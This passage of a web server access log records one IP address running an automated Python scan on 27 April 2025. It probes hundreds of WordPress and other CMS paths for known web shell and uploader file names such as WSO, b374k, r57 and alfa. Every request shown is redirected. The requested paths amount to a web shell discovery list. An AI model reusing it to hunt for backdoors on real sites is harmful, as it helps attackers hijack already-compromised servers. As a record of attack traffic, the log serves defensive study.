-0400] "GET /wp-content/wp-blog.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:12 -0400] "GET /wp-content/wp-edit.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:16 -0400] "GET /wp-content/shells.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:20 -0400] "GET /wp-content/sh3lls.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:25 -0400] "GET /wp-content/d00r.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:28 -0400] "GET /wp-content/dork.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:31 -0400] "GET /wp-content/uploader.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:36 -0400] "GET /wp-content/war.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:41 -0400] "GET /wp-content/l.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:44 -0400] "GET /wp-content/z.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:50 -0400] "GET /wp-content/z.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:53 -0400] "GET /wp-content/h7.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:06:56 -0400] "GET /wp-content/heker.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:00 -0400] "GET /wp-content/hekel.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:04 -0400] "GET /wp-content/k0nt0l.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:08 -0400] "GET /wp-content/k0nt0l.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:12 -0400] "GET /wp-content/mmk.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:17 -0400] "GET /wp-content/mmk.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:21 -0400] "GET /wp-content/login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:26 -0400] "GET /wp-content/log.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:29 -0400] "GET /wp-content/hidden.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:31 -0400] "GET /wp-content/regis.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:34 -0400] "GET /wp-content/us.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:38 -0400] "GET /wp-content/string.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:42 -0400] "GET /wp-content/c0der.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:46 -0400] "GET /wp-content/c0der.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:49 -0400] "GET /wp-content/code.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:52 -0400] "GET /wp-content/code.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:07:55 -0400] "GET /wp-content/blank.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:00 -0400] "GET /wp-content/blank.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:04 -0400] "GET /wp-content/minion.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:08 -0400] "GET /wp-content/minionghost.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:13 -0400] "GET /wp-content/gh0st.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:16 -0400] "GET /wp-content/cracker.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:20 -0400] "GET /wp-content/cracker.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:24 -0400] "GET /wp-content/crack.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:28 -0400] "GET /wp-content/ups.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:31 -0400] "GET /wp-content/naruto.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:34 -0400] "GET /wp-content/000.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:38 -0400] "GET /wp-content/k2ll.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:41 -0400] "GET /wp-content/Uploader.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:46 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:49 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:51 -0400] "GET /wp-content/WSO.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:08:55 -0400] "GET /wp-content/dz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:00 -0400] "GET /wp-content/DZ.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:03 -0400] "GET /wp-content/cpanel.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:11 -0400] "GET /wp-content/cpn.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:16 -0400] "GET /wp-content/sos.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:20 -0400] "GET /wp-content/term.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:24 -0400] "GET /wp-content/Sec-War.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:31 -0400] "GET /wp-content/sql.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:35 -0400] "GET /wp-content/b374.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:41 -0400] "GET /wp-content/ssl.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:46 -0400] "GET /wp-content/mysql.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:51 -0400] "GET /wp-content/WolF.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:09:57 -0400] "GET /wp-content/madspot.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:02 -0400] "GET /wp-content/Cgishell.pl HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:06 -0400] "GET /wp-content/killer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:10 -0400] "GET /wp-content/changeall.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:13 -0400] "GET /wp-content/Sh3ll.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:17 -0400] "GET /wp-content/dz0.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:21 -0400] "GET /wp-content/XAttacker.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:24 -0400] "GET /wp-content/Xattacker.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:28 -0400] "GET /wp-includes/block-editor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:33 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-ilIMVU.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:37 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:40 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:43 -0400] "GET /wp-admin/maint/lmfi2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:46 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:51 -0400] "GET /wp-admin/css/LFmDMvq.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:10:55 -0400] "GET /wp-admin/includes/tyKLAYj.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:00 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:04 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:07 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:13 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:19 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:23 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:30 -0400] "GET /wp-content/XAttacker.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:36 -0400] "GET /wp-content/Xattacker.phtml HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:41 -0400] "GET /wp-content/dam.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:45 -0400] "GET /wp-content/dom.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:49 -0400] "GET /wp-content/mini.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:52 -0400] "GET /wp-content/whmcs.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:11:56 -0400] "GET /wp-content/badcode.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:01 -0400] "GET /wp-content/b374k.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:05 -0400] "GET /wp-content/r57.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:08 -0400] "GET /wp-content/berandal.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:14 -0400] "GET /wp-content/alpashell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:20 -0400] "GET /wp-content/alpa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:25 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:29 -0400] "GET /wp-content/cyber.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:35 -0400] "GET /wp-content/cybershell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:40 -0400] "GET /wp-content/sement.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:45 -0400] "GET /wp-content/semen.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:51 -0400] "GET /wp-content/gans.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:12:55 -0400] "GET /wp-content/ganz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:00 -0400] "GET /wp-content/wa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:05 -0400] "GET /wp-content/network.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:09 -0400] "GET /wp-content/ghost.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:14 -0400] "GET /wp-content/hgt.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:18 -0400] "GET /wp-content/hiddenuploader.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:25 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:29 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:33 -0400] "GET /var/www/uploads/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:38 -0400] "GET /wp-content/plugins/wp-file-upload/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:43 -0400] "GET /wp-content/plugins/download-manager/file-upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:47 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:53 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:13:57 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:02 -0400] "GET /media/import/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:09 -0400] "GET /downloader/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:13 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:18 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:22 -0400] "GET /wp-admin/includes/send.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:28 -0400] "GET /uploads/upload_example.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:33 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:37 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:41 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:44 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:48 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:51 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:14:56 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:00 -0400] "GET /wp-includes/images/gbikDqrdQB.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:06 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:11 -0400] "GET /wp-admin/js/91.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:15 -0400] "GET /wp-includes/24.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:18 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:23 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:27 -0400] "GET /wp-includes/images/rrsuRf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:30 -0400] "GET /wp-includes/IXR/class-IXR-http.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:36 -0400] "GET /wp-admin/includes/alfa-rex.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:42 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:45 -0400] "GET /red.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:49 -0400] "GET /wp-admin/red.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:15:57 -0400] "GET /wp-admin/css/red.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:03 -0400] "GET /wp-admin/images/red.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:06 -0400] "GET /wp-admin/includes/red.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:10 -0400] "GET /wp-admin/maint/red.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:15 -0400] "GET /wp-admin/network/red.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:20 -0400] "GET /wp-content/themes/red.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:23 -0400] "GET /wp-content/plugins/red.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:28 -0400] "GET /wp-content/uploads/red.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:34 -0400] "GET /wp-content/red.php/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:37 -0400] "GET /wp-admin/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:41 -0400] "GET /wp-admin/css/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:46 -0400] "GET /wp-admin/images/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:51 -0400] "GET /wp-admin/includes/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:56 -0400] "GET /wp-admin/maint/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:16:59 -0400] "GET /wp-admin/network/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:03 -0400] "GET /wp-admin/user/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:07 -0400] "GET /wp-admin/404TVS/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:12 -0400] "GET /wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:17 -0400] "GET /wp-admin/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:21 -0400] "GET /wp-admin/css/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:26 -0400] "GET /wp-admin/images/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:29 -0400] "GET /wp-admin/includes/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:34 -0400] "GET /wp-admin/maint/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:39 -0400] "GET /wp-admin/network/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:42 -0400] "GET /wp-admin/user/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:47 -0400] "GET /wp-admin/404TVS/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:51 -0400] "GET /.well-known/pki-validation/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:55 -0400] "GET /.well-known/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:17:58 -0400] "GET /.well-known/acme-challenge/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:01 -0400] "GET /images/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:05 -0400] "GET /cache1/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:09 -0400] "GET /cc888f23/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:13 -0400] "GET /wp-content/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:16 -0400] "GET /wp-content/themes/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:21 -0400] "GET /wp-content/plugins/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:24 -0400] "GET /wp-content/uploads/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:27 -0400] "GET /wp-content/upgrades/wso-green.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:31 -0400] "GET /.well-known/pki-validation/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:36 -0400] "GET /.well-known/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:40 -0400] "GET /.well-known/acme-challenge/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:43 -0400] "GET /images/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:47 -0400] "GET /cache1/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:51 -0400] "GET /cc888f23/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:55 -0400] "GET /wp-content/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:18:59 -0400] "GET /wp-content/themes/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:03 -0400] "GET /wp-content/plugins/green HTTP/1.1" 301 795 "-" 